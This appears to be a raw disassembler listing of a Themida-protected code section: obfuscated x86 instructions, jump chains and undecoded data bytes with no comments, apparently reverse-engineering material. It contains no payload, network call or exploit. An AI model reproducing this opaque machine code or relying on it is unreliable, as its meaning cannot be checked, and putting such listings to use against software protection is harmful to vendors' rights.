loc_549DBE:				; CODE XREF: Themida_:00543F54j
		push	edi
		jmp	loc_54B4B2
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 1B80h, 4C781h, 0EF810000h, 4, 5C243C87h
		dd 0B9240C89h, 2FDECEB3h, 159CD01h, 242C8BE8h, 52E38953h
		dd 191986BAh, 0E281421Bh, 15944BB2h, 0E906EAC1h, 526Ah
; ---------------------------------------------------------------------------


loc_549E04:				; CODE XREF: Themida_:0054F35Ej
		pop	esi
		jmp	loc_5499E7
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 89515824h, 4C181E1h,	0E9000000h, 0FFFFC32Dh
; ---------------------------------------------------------------------------


loc_549E1C:				; CODE XREF: Themida_:0054F30Cj
		push	eax
		mov	eax, 5F25084Eh
		sub	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54B958
; ---------------------------------------------------------------------------


loc_549E32:				; CODE XREF: Themida_:0054DB66j
		mov	ebx, 78C136EBh
		neg	ebx
		not	ebx
		sub	ebx, 78C136E6h
		add	ebp, ebx
		jmp	loc_549A48
; ---------------------------------------------------------------------------
		dd 0CEEC581h, 0EE89E343h, 81DEF75Dh, 0B10ACBEEh, 0C1CE8167h
		dd 0F719916Fh, 2BE681D6h, 0E96B2B1Ah, 0FFFFC266h, 5C243C87h
		dd 0E957D829h, 0FFFFB2D0h, 0E9525058h, 0FFFFB886h, 6652B951h
		dd 38E971ABh, 5800001Bh, 83241C8Bh, 0C68104C4h,	0B8B41BFh
		dd 9CBA52h, 0CA812AEEh,	68FD33A1h, 0BC8AF281h, 0D6016B39h
		dd 0FFF0315Ah, 815E2434h, 4C4h,	45BE5600h, 83626E74h, 148904ECh
		dd 0D4685624h, 5E673861h, 8102E6C1h, 21DDD8C6h,	0BE5656AEh
		dd 2950F79h, 0FFACD5E9h, 86850FFh, 5867E15Ch, 0B21C5C05h
		dd 802E9E6h, 2AB00000h,	28B4EE80h, 0C5E953C6h, 68FFFFF7h
		dd 2618h, 81243C89h, 37B02434h,	51E95DBFh, 81FFFFBBh, 466CE5E5h
		dd 95409570h, 9C8ED81h,	0E931CBF6h, 81242C8Bh, 4C4h, 0E9CA8900h
		dd 0FFFFD2EEh, 24048B66h, 68E78957h, 474Ah, 0FFA6CAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549F45:				; CODE XREF: Themida_:0054E53Fj
		push	esi
		mov	esi, 9C970BFEh
		jmp	loc_54DF1E
; ---------------------------------------------------------------------------


loc_549F50:				; CODE XREF: Themida_:00548BAFj
		add	esp, 4
		add	eax, esi
		pop	esi
		sub	eax, 41DA2023h
		pop	edi
		add	eax, 2
		xchg	eax, [esp]
		mov	esp, [esp]
		movsx	cx, al
		push	small 11E6h
		mov	[esp], cx
		jmp	loc_543A20
; ---------------------------------------------------------------------------
		db 89h
		dd 0C6E92424h, 53FFFFFCh, 1D7653BBh, 7E3C12Bh, 8E9DBF7h
		dd 81FFFFB9h, 5B57242Ch, 53683CA6h, 0E900006Ch,	0E1Ah
; ---------------------------------------------------------------------------


loc_549FA4:				; CODE XREF: Themida_:00548357j
		mov	[esp], eax
		jmp	loc_54E98D
; ---------------------------------------------------------------------------
		dd 0EB81EB01h, 449E6DB6h, 0AEEB815Dh, 0E95DC57Ah, 0FFFFEF11h
		dd 8324048Bh, 0C72904C4h, 0E92434FFh, 0FFFFB4D2h, 0E92FB551h
		dd 50D7h, 41A968ADh, 0C890000h,	4482B924h, 39E9656Fh
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549FEB:				; CODE XREF: Themida_:0054744Cj
					; Themida_:0054C157j ...
		push	dword ptr [edi+24h]
		xor	dword ptr [esp], 91B0BD2h
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_54900E
; ---------------------------------------------------------------------------
aZSp		db '‡<$\é',8,0
		db 0
; ---------------------------------------------------------------------------


loc_54A007:				; CODE XREF: Themida_:00547A86j
		xor	cl, bh
		pop	ebx
		sub	bl, 21h
		jmp	loc_5498A3
; ---------------------------------------------------------------------------
		dw 7D25h
		dd 508742Bh, 0FD3107BBh, 8158C789h, 0EC07F0C2h,	0E9FA292Bh
		dd 0C58h, 2BFh,	8BFA0100h, 0C483243Ch, 0D164E904h, 0E189FFFFh
		dd 48BBBB53h, 0EBC158E7h, 0E3C14B07h, 0EB814B04h, 15493FB7h
		dd 56BCC381h, 0C1810A2Ch, 1B431CD2h, 0FFE181E9h, 240C8BFFh
		dd 50E38953h, 35716857h, 875F51A0h, 0CBF9E9F7h,	0D5F7FFFFh
		dd 2ECDF581h, 4CE979D0h, 81FFFFB3h, 4C7h, 4EF8100h, 87000000h
		dd 0AAE9243Ch, 0F6000040h, 0B60F66E9h, 0EC8155CCh, 4, 7BA968h
		dd 24248900h, 4240483h,	5024048Fh, 4B8h, 24440100h, 0DCE95804h
		dd 89000034h, 4EC83E6h,	0E9240489h, 0FFFFF207h,	0E952D801h
		dd 106Dh, 0CF23E957h, 34FFFFFFh, 2EE2E924h, 4890000h, 80F0B424h
		dd 0DBE922ECh, 0BEFFFFF8h, 4A451E33h, 0F681DEF7h, 2C441B91h
		dd 7B21F681h, 0EE817716h, 6D060C5Ah, 161EE9h
		db 0
; ---------------------------------------------------------------------------


loc_54A115:				; CODE XREF: Themida_:0054D9C2j
		mov	ecx, 23CF30DBh
		jmp	loc_54F4DB
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF98FCh
; ---------------------------------------------------------------------------


loc_54A124:				; CODE XREF: Themida_:0054E352j
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	edx, ecx
		push	dword ptr [esp]
		jmp	loc_548D4C
; ---------------------------------------------------------------------------
aBIai		db 'Áê',7,'ꈠI',0
		dd 0E95AD701h, 0FFFF9B76h, 0D9E95351h, 80000013h, 0F530E4C6h
		dd 11C5805Ah, 32E9EB30h, 28FFFFABh, 5B665AD0h, 0A9E9C330h
		dd 68FFFFC8h, 65F4h, 0B7241C89h, 86DFF690h, 86DAF6D7h
		dd 0FE5366D7h, 6601244Ch, 80D7F65Bh, 2BE9FECFh
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A1A3:				; CODE XREF: Themida_:005445FAj
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_54DB4F
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 2, 5C243487h, 2445E9h, 0B2526600h, 0E9690498h, 0FFFF9E05h
		dd 0FBB6E95Ch, 0F901FFFFh, 8C8BF57h, 94E90C72h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A1DB:				; CODE XREF: Themida_:0054F717j
		pop	eax
		mov	esi, [esp]
		add	esp, 4


loc_54A1E5:				; CODE XREF: Themida_:0054AA91j
		push	ecx
		mov	ecx, esp
		push	edx
		push	eax
		mov	eax, 52DE055Fh
		mov	edx, eax
		pop	eax
		add	edx, 14CC50F0h
		xor	edx, 67AA564Bh
		add	ecx, 55694F5Ch
		add	ecx, edx
		sub	ecx, 55694F5Ch
		pop	edx
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_548E2C
; ---------------------------------------------------------------------------


loc_54A231:				; CODE XREF: Themida_:0054FAE7j
		mov	eax, esi
		pop	esi
		mov	ecx, [esp]
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		push	21A7h
		mov	[esp], edi
		mov	edi, 16D269F1h
		shr	edi, 7
		add	edi, 0FFFFFFFFh
		shr	edi, 3
		push	eax
		mov	eax, esp
		jmp	loc_54A639
; ---------------------------------------------------------------------------


loc_54A261:				; CODE XREF: Themida_:00549D32j
		push	ebp
		jmp	loc_54B135
; ---------------------------------------------------------------------------
		db 54h
		dd 0BEE9565Dh, 0BBFFFFAEh, 3F013951h, 173E9h
		db 0
; ---------------------------------------------------------------------------


loc_54A279:				; CODE XREF: Themida_:0054A603j
		shr	edx, 1
		jmp	loc_545B03
; ---------------------------------------------------------------------------
aASb		db 'Áí',8,'é"',0
		align 4
		dd 68241C89h, 15E4h, 0B0240489h, 0E9C38818h, 366Dh
; ---------------------------------------------------------------------------


loc_54A29C:				; CODE XREF: Themida_:0054E232j
		add	ecx, 5A821483h
		dec	ecx
		add	ecx, 3A07926h
		add	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		and	eax, edx
		jmp	loc_545021
; ---------------------------------------------------------------------------


loc_54A2BC:				; CODE XREF: Themida_:00549BC5j
		mov	ebp, [esp]
		jmp	loc_54A40D
; ---------------------------------------------------------------------------
		dd 8108E5C1h, 74B83CF5h, 0DDF74D90h, 4CC9CD81h,	0F5812AC6h
		dd 8FEAFAC0h, 1A8EE9h, 68515000h, 378745E8h, 0C2E98159h
		dd 0E9D55A14h, 0FFFFC270h
; ---------------------------------------------------------------------------


loc_54A2F4:				; CODE XREF: Themida_:0054837Ej
		push	ebp
		mov	ebp, 716E6313h
		xor	ebp, 633A69B1h
		dec	ebp
		push	edx
		mov	edx, 0F4A2CE7h
		jmp	loc_54E2D5
; ---------------------------------------------------------------------------
		dd 0BF575D54h, 4, 0E95FFD01h, 0FFFFE5DFh, 546CE681h, 0D6F75A3Dh
		dd 0AB9FF681h, 0F001E5DEh, 0FFEAB2E9h, 4E3C1FFh, 0FFF43FE9h
		dd 0EC8359FFh, 242C8904h, 0B2D1CBDh, 18F5816Ah,	816A0B2Dh
		dd 0F91E71E9h, 81E90132h, 0F91E71C1h, 3D52E932h, 55B0000h
		dd 4DDDBCC4h, 0F758C321h, 3CE8E9DBh, 0E6880000h, 9E31E958h
		dd 0C059FFFFh, 0F28003E2h, 2DB55167h, 49C9E9h, 0B0505B00h
		dd 0E9C3286Ah, 3B95h, 4C681h, 0EE810000h, 4, 5C243487h
		dd 52243C89h, 1A6AABBAh, 9CFE90Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A3AE:				; CODE XREF: Themida_:0054BBEAj
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	13B2h
		mov	[esp], edx
		push	0FFFFFFFFh
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_54D4EE
; ---------------------------------------------------------------------------
		dd 4C481h, 0E2C00000h, 1797E908h, 14890000h, 3CB95124h
		dd 0E93E3305h, 3D90h, 885BD929h, 240C8B11h, 0E904C483h
		dd 0FFFF9624h
; ---------------------------------------------------------------------------


loc_54A3FC:				; CODE XREF: Themida_:00546D71j
		push	edx
		push	ebx
		mov	ebx, 168B0AD0h
		mov	edx, ebx
		pop	ebx
		mov	ebp, edx
		jmp	loc_54B69F
; ---------------------------------------------------------------------------


loc_54A40D:				; CODE XREF: Themida_:0054A2BFj
		add	esp, 4
		or	eax, eax
		jmp	loc_54DA6E
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FFD864E9h, 66F9F6FFh, 83CCB60Fh, 48904ECh, 4EC8324h
		dd 52242489h, 4BAh, 0C214E900h,	0E959FFFFh, 2ACCh, 24048B66h
		dd 4EC81h, 1C890000h, 1C8B5424h, 4C48124h, 56000000h, 2D06E9h
		dd 0E9D6F700h, 0FFFFF32Ah
; ---------------------------------------------------------------------------


loc_54A464:				; CODE XREF: Themida_:0054738Aj
		add	edx, ecx
		pop	ecx
		xor	edx, 59C333Ah
		not	edx
		jmp	loc_544C6B
; ---------------------------------------------------------------------------


loc_54A474:				; CODE XREF: Themida_:0054C386j
		add	esp, 4
		shr	esi, 1
		add	esi, 565F3B55h
		inc	esi
		jmp	loc_54E59C
; ---------------------------------------------------------------------------


loc_54A485:				; CODE XREF: Themida_:00547FE0j
		mov	[esp], edi
		jmp	loc_5475EF
; ---------------------------------------------------------------------------
		db 0ACh, 4, 71h
		dd 8072B753h, 9BE944F7h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A49B:				; CODE XREF: Themida_:005452EFj
		push	ecx
		jmp	loc_54D5E8
; ---------------------------------------------------------------------------


loc_54A4A1:				; CODE XREF: Themida_:0054D606j
		mov	ecx, 66241143h
		jmp	loc_546798
; ---------------------------------------------------------------------------


loc_54A4AB:				; CODE XREF: Themida_:0054B960j
		pop	ebp
		jmp	loc_54D2F2
; ---------------------------------------------------------------------------
		db 0B0h, 65h, 0B2h
		dd 0E9C22897h, 0FFFFF9BCh, 0BFE95B54h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A4C3:				; CODE XREF: Themida_:0054E605j
		push	eax
		push	ecx
		mov	cl, 17h
		jmp	loc_5474B1
; ---------------------------------------------------------------------------
		dd 3B0FF181h, 0C8293557h, 592434FFh, 5204C483h,	6C6793BAh
		dd 1E65E931h, 0C8890000h, 0FEEB8159h, 0E939473Ah, 4A77h
		dd 0DAEBE95Dh, 0E950FFFFh, 1617h, 5157535Ch, 4EC81h, 34890000h
		dd 0CE41E924h, 1C33FFFFh, 3749E924h, 1E90000h, 83FFFF95h
		dd 2C8704C5h, 0C6815C24h, 4, 2BB53h, 0DE010000h, 83241C8Bh
		dd 348704C4h, 4B39E924h, 0D8010000h, 82BA525Bh,	0E9422313h
		dd 0FFFFBD2Ch, 1CCBCF81h, 0E7812A86h, 5836693Ch, 51E38953h
		dd 4B9h, 1475E900h, 0DA010000h,	56D2EA81h, 0E95B13F5h
		dd 0FFFFCF6Eh, 0F8005966h, 71045Bh, 0E95366D8h,	0FFFF94A1h
		dd 0FD300DB7h, 26E95B66h, 89FFFF96h, 0FCE92434h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A59B:				; CODE XREF: Themida_:00548CF3j
		add	ebp, ebx
		jmp	loc_54A90E
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 2836E902h, 5A660000h, 1C8BFE20h, 51D1E924h, 0E95A0000h
		dd 0FFFFC8B1h, 52665866h, 24348166h, 5D661E88h,	82B86650h
		dd 0B4D5E925h, 815FFFFFh, 631FE7EFh, 5FFA895Eh,	34FFD001h
		dd 89505A24h, 0F5BE56E0h, 4E468D1Dh, 0F681EED1h, 23468EFEh
		dd 34FFF001h, 24348B24h, 0FFF79AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A601:				; CODE XREF: Themida_:0054E2B2j
		or	ebx, ebx
		jnz	loc_54A279
		push	ecx
		mov	ecx, 20h
		add	ecx, edi
		push	eax
		mov	eax, 0
		jmp	loc_54FB1E
; ---------------------------------------------------------------------------


loc_54A61C:				; CODE XREF: Themida_:0054F16Cj
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_54DFF1
; ---------------------------------------------------------------------------


loc_54A62C:				; CODE XREF: Themida_:0054DA1Ej
		xchg	ebx, [esp]
		mov	esp, [esp]
		and	eax, ebx
		jmp	loc_54CBD5
; ---------------------------------------------------------------------------


loc_54A639:				; CODE XREF: Themida_:0054A25Cj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	edx
		mov	edx, 51D73D92h
		jmp	loc_54E46E
; ---------------------------------------------------------------------------
		db 68h,	50h, 3Dh
		dd 7AE90000h, 80FFFF9Bh, 0C28065EDh, 3DA8E976h,	5F540000h
		dd 4BD55h, 70E90000h, 54000040h, 4C5815Dh, 83000000h, 2C3302C5h
		dd 242C3124h, 0FF9E43E9h, 3FC381FFh, 813A6C38h,	306576C3h
		dd 0E9C3017Bh, 148h, 4EC81h, 1C890000h,	0E9E38924h, 0FFFFA895h
		dd 3E9C166h, 0FFC8A7E9h, 0C80058FFh, 0E9D40459h, 4908h
		dd 0E9240487h, 0FFFFC324h, 3034542Ch, 0E958C728h, 1C9h
; ---------------------------------------------------------------------------


loc_54A6D8:				; CODE XREF: Themida_:005481E1j
		pop	edi
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_544617
; ---------------------------------------------------------------------------
		db 0F7h
		dd 91F181D1h, 0E940D07Dh, 0FFFFC7FFh, 48BC589h,	4C48124h
		dd 31000000h, 2434FFE8h, 4EC815Dh, 0E9000000h, 0FFFFE0A0h
		dd 4240483h, 4C7815Fh, 56000000h, 188BE9h, 0EC815600h
		dd 4, 0FFD1AAE9h, 58C689FFh, 335EF701h,	3C31243Ch, 243C3324h
		dd 8124248Bh, 4ECh, 24348900h, 43166852h, 0CBE90000h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A753:				; CODE XREF: Themida_:0054E730j
		dec	ecx
		add	ecx, 363835B9h
		add	ecx, 4215779h
		jmp	loc_54BC6F
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 8904EC83h, 5A542414h, 4C281h, 0C2810000h, 4,	5C241487h
		dd 4C281h, 57530000h, 5010E9h, 0A4A6800h, 2C890000h, 83E58924h
		dd 0C8904ECh, 4199E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A7A2:				; CODE XREF: Themida_:0054BD83j
		xchg	ebx, [esp]
		jmp	loc_545DC8
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 1CE8h
; ---------------------------------------------------------------------------


loc_54A7B0:				; CODE XREF: Themida_:00549C2Ej
		push	edx
		jmp	loc_54E2C5
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 0FFC0DAE9h, 52882CFFh, 0E904EC83h,	0FFFFD228h
; ---------------------------------------------------------------------------


loc_54A7CC:				; CODE XREF: Themida_:00548072j
		sub	ebp, ecx
		sub	ebp, 329D6A40h
		pop	ecx
		sub	edx, 688F1BDAh
		sub	edx, ebp
		add	edx, 688F1BDAh
		jmp	loc_54C0F9
; ---------------------------------------------------------------------------
		dd 6576EB81h, 0FEE97B30h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A7F3:				; CODE XREF: Themida_:0054EA3Cj
		mov	[esp], ebp
		push	eax
		jmp	loc_5496AC
; ---------------------------------------------------------------------------
		dd 4C481h, 47210000h, 2434FF1Ch, 8124048Bh, 4C4h, 32685600h
		dd 89000011h, 4832424h,	525E0424h, 4BAh, 0DBABE900h, 0F028FFFFh
		dd 0F8005A66h, 0FFF988E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A835:				; CODE XREF: Themida_:00544527j
		push	dword ptr [esp]
		jmp	loc_54D001
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 36E9240Ch
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A84B:				; CODE XREF: Themida_:0054D374j
		mov	ecx, 0D0E04A6Eh
		sub	ecx, ebx
		jmp	loc_547F74
; ---------------------------------------------------------------------------
		db 83h
		dd 0F381FFEBh, 671A38A4h, 366DF381h, 0DD894147h, 0EE68575Bh
		dd 0E90A930Ch, 0FFFFAE4Ah, 24348B5Eh, 815D5455h, 4C5h
		dd 0FC99E900h, 8F5FFFFFh, 835C2404h, 2C8904ECh,	0B308E924h
		dd 0F66FFFFh, 9C2404BBh, 0FF917FE9h, 24148BFFh,	2804C483h
		dd 241C8BF8h, 3004C483h, 0C0B60FC3h, 578734FFh,	5025E9h
		db 0
; ---------------------------------------------------------------------------


loc_54A8BD:				; CODE XREF: Themida_:005440AAj
		not	esi
		not	esi
		sub	esi, 51C8262Eh
		xor	esi, 0AC5A6207h
		add	ebp, esi
		jmp	loc_548C64
; ---------------------------------------------------------------------------


loc_54A8D4:				; CODE XREF: Themida_:0054B05Cj
		shr	ebp, 8
		inc	ebp
		jmp	loc_54CB8E
; ---------------------------------------------------------------------------


loc_54A8DD:				; CODE XREF: Themida_:0054BA87j
		mov	[esp], eax
		xchg	ecx, [esp]
		xchg	edi, ecx
		not	edi
		xchg	edi, ecx
		xchg	ecx, [esp]
		pop	eax
		xor	[esp], eax
		jmp	loc_543C2C
; ---------------------------------------------------------------------------


loc_54A8F5:				; CODE XREF: Themida_:00547201j
		mov	ecx, 4
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 4CE93A31h
		jmp	loc_54D80C
; ---------------------------------------------------------------------------


loc_54A90E:				; CODE XREF: Themida_:0054A59Dj
		pop	ebx
		sub	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	ebx
		mov	ebx, 3D3400D5h
		or	ebx, 1C95525Bh
		dec	ebx
		push	esi
		jmp	loc_545A9D
; ---------------------------------------------------------------------------
		dw 1487h
		dd 66645C24h, 0E5E90289h, 5FFFF90h, 4F931FB0h, 5F780105h
		dd 58C22125h, 0FFE734E9h, 33E95EFFh
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A953:				; CODE XREF: Themida_:005480D2j
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp


loc_54A966:				; CODE XREF: Themida_:loc_54DA6Ej
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		jmp	loc_54714C
; ---------------------------------------------------------------------------
		db 0B4h
		dd 66E72849h, 0D6B25258h, 885AD728h, 51665BFAh,	0CA0050B1h
		dd 0DAE95966h, 0F7000035h, 25BD2DD8h, 0C3299F49h, 4EC8158h
		dd 89000000h, 0C9BA2414h, 81389C42h, 986463C3h,	81D30168h
		dd 986463EBh, 24148B68h, 286E9h
		db 0
; ---------------------------------------------------------------------------


loc_54A9C1:				; CODE XREF: Themida_:00544776j
		xchg	ebp, [esp]
		pop	esp
		push	1B93h
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_5440F8
; ---------------------------------------------------------------------------
		dd 212C68h, 0A8D1E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A9DE:				; CODE XREF: Themida_:00549569j
		xchg	ebx, ecx
		neg	ebx
		jmp	loc_54B84F
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 38FEE900h, 815A0000h, 4946A4C5h, 9F42E911h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A9FE:				; CODE XREF: Themida_:0054E438j
		sub	bx, 4AFh
		push	eax
		mov	eax, esp
		jmp	loc_546DE7
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FFFFE981h, 68FFFFh,	29000000h, 7EE9240Ch
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54AA1F:				; CODE XREF: Themida_:0054D19Cj
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], dx
		mov	dx, 83h
		xor	dx, 23F8h
		or	dx, 5DCBh
		push	dx
		not	word ptr [esp]
		pop	dx
		xchg	ax, dx
		add	ax, 0FFFFh
		xor	dx, ax
		xor	ax, dx
		xor	dx, ax
		shl	dx, 7
		jmp	loc_54E84A
; ---------------------------------------------------------------------------
		db 0B7h, 0A5h, 0
		dd 1C8B66F8h, 2C48124h,	28000000h, 0E9A52CF0h, 0FFFFB57Ch
		dd 8904EC83h, 0BB7241Ch, 801ACF80h, 0D36846EFh,	89000079h
		dd 0CFB62414h, 28A7F680h, 2B4E9F7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54AA8E:				; CODE XREF: Themida_:00548789j
		pop	esp
		or	eax, eax
		jz	loc_54A1E5
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edi
		jmp	loc_54C959
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 0C1h
		dd 0B450C328h, 58E328C1h, 0FE95B151h, 0D8F180C9h, 0E9DAC380h
		dd 0FFFFC63Dh, 4CFE2D5Eh, 0D8012570h, 8904EC83h, 0E953240Ch
		dd 4F77h, 3166AD66h, 126768D8h,	14890000h, 9B686624h, 148B6641h
		dd 2C48324h, 0FFEA8166h, 0A8E951FFh
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54AAFB:				; CODE XREF: Themida_:005472E2j
		push	edi
		mov	edi, 44E865DCh
		jmp	loc_5472A7
; ---------------------------------------------------------------------------
		dw 0C683h
		dd 0C736E904h, 8952FFFFh, 4678E9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54AB16:				; CODE XREF: Themida_:00548E3Aj
		mov	[esp], ecx
		mov	ecx, 0DB712B2h
		jmp	loc_54F49A
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8702C1h, 0D8005C24h, 0FFA929E9h, 66EA81FFh, 811DC01Eh
		dd 5E06DFEAh, 5AD02977h, 0D879652Dh, 24348B33h,	4E956856h
		dd 24890000h, 24048124h, 4, 0FFD9D6E9h,	4C781FFh, 83000000h
		dd 3C8704C7h, 48F5C24h,	24248B24h, 4EC81h, 0C890000h, 4EC8124h
		dd 89000000h, 7682404h,	8900002Eh, 1BB241Ch, 0E963C12Ch
		dd 0FFFFE889h, 0E904EC83h, 0FFFFA43Ch, 5143D3F7h, 364E72B9h
		dd 6E18179h, 81761015h,	0EE390E9h, 59CB31F0h, 34FFD801h
		dd 54535B24h, 83241C8Bh, 0C38104C4h, 4,	4C381h,	8DE90000h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54ABD3:				; CODE XREF: Themida_:0054F28Cj
		push	ebx
		push	5FF84F27h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_54EFD3
; ---------------------------------------------------------------------------
aZ4LHjy		db '‡4$‹$$h†Y',0
		dw 8900h
		dd 0D388241Ch, 4EC81h, 0A2E90000h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54ABFF:				; CODE XREF: Themida_:00547580j
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		sub	edi, 4
		jmp	loc_54E25C
; ---------------------------------------------------------------------------
		db 33h
		dd 248B240Ch, 0AB0F6624h, 0E99C2404h, 0FFFF8DFCh, 8B5AD001h
		dd 0C481242Ch, 4, 6F7A68h, 24348900h, 86628BBEh, 29C36851h
		dd 22E90000h, 83FFFFDBh, 0EC8104C4h, 4,	56240C89h, 0D3F6855h
		dd 0C3E930A4h, 0ADFFFF8Eh, 25BDE9h
		db 0
; ---------------------------------------------------------------------------


loc_54AC65:				; CODE XREF: Themida_:00546A52j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		not	ebx
		sub	ebx, 0FFFFFFFFh
		push	edi
		mov	edi, 748170CDh
		add	edi, 74E0135h
		xor	ebx, edi
		jmp	loc_5490F9
; ---------------------------------------------------------------------------
		dd 2BE5653h, 81725840h,	694F21CEh, 2E6C178h, 0B9CE81h
		dd 0F6813249h, 0A2B72E77h, 72E9F389h, 8100004Ch, 4C7h
		dd 74FF5700h, 8F5F0424h, 815C2404h, 23395EEBh, 0D5AAE974h
		dd 4968FFFFh, 0E9000037h, 0FFFFF712h, 240C8B66h, 4EC81h
		dd 94E90000h, 89FFFF95h, 0DD255FF8h, 0E95B3B2Fh, 0FFFF9BA7h
		dd 0CC685D54h, 8900000Eh, 19BF243Ch, 0F74E9D41h, 6EFC1DFh
		dd 0D105EFC1h, 1EF83E7h, 58A9F781h, 0BA52002Ch,	7F881042h
		dd 15AD501h, 42ED81FDh,	8B7F8810h, 0E952243Ch, 2E08h
; ---------------------------------------------------------------------------


loc_54AD24:				; CODE XREF: Themida_:00549BBBj
		pop	ecx
		xor	edx, 6279482Bh
		shl	edx, 2
		push	ebp
		mov	ebp, 3F2976E2h
		shr	ebp, 5
		xor	ebp, 1D36DD7h
		jmp	loc_54E1B3
; ---------------------------------------------------------------------------
aZaq		db 'Zە%',0
		db 0F8h
		dd 0E9515B5Bh, 0FFFFEDE9h
; ---------------------------------------------------------------------------


loc_54AD50:				; CODE XREF: Themida_:0054CBBCj
		xor	ecx, eax
		pop	eax
		shr	ecx, 6
		and	ecx, 3983924h
		xor	ecx, 0C151FDEh
		jmp	loc_544D68
; ---------------------------------------------------------------------------
		db 33h
		dd 3C31243Ch, 243C3324h, 0F24248Bh, 9C51C8AFh, 0FF8CA3E9h
		dd 81C2BFFFh, 0D731262Bh, 0ABF575Ah, 291CB25Fh,	0F8295FF8h
		dd 0B25F0A05h, 2434FF1Ch, 0A0E6E95Fh, 348BFFFFh, 205CE924h
		dd 0E3810000h, 0FD014E7h, 4DE9D3F7h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54ADB3:				; CODE XREF: Themida_:0054C254j
		mov	edi, 3B2D5E90h
		dec	edi
		jmp	loc_54B291
; ---------------------------------------------------------------------------
		dw 1489h
		dd 7D4CBA24h, 54291616h, 148B0424h, 4C48124h, 0E9000000h
		dd 0FFFF8C48h, 6E1C15Dh, 0FFC936E9h, 0BEB850FFh, 0E961575Eh
		dd 0FFFFACF2h, 0F96CEA81h, 0D7011E86h, 2C7835Ah, 2474FF57h
		dd 243C8B04h, 8F04C483h, 248B2404h, 0CFF6624h, 0DE99C24h
		dd 33FFFF8Ch, 685C241Ch, 149Eh,	0C2E9h,	2C48300h, 5AF028h
		dd 689D04D8h, 72E6h, 0B2241489h, 13B15116h, 0D2F6D186h
		dd 0C180D186h, 4E9C0E9h, 2A4BE9h, 5DEA0100h, 0E4E9DA01h
		dd 81FFFFBAh, 8552CC6h,	0B9F4E91Ch, 8B66FFFFh, 0F7682404h
		dd 89000010h, 8B54242Ch, 0C483242Ch, 0E31EE904h, 3C28FFFFh
		dd 243C8A24h, 0FFD082E9h, 0AFCE81FFh, 0E935F035h, 4009h
; ---------------------------------------------------------------------------


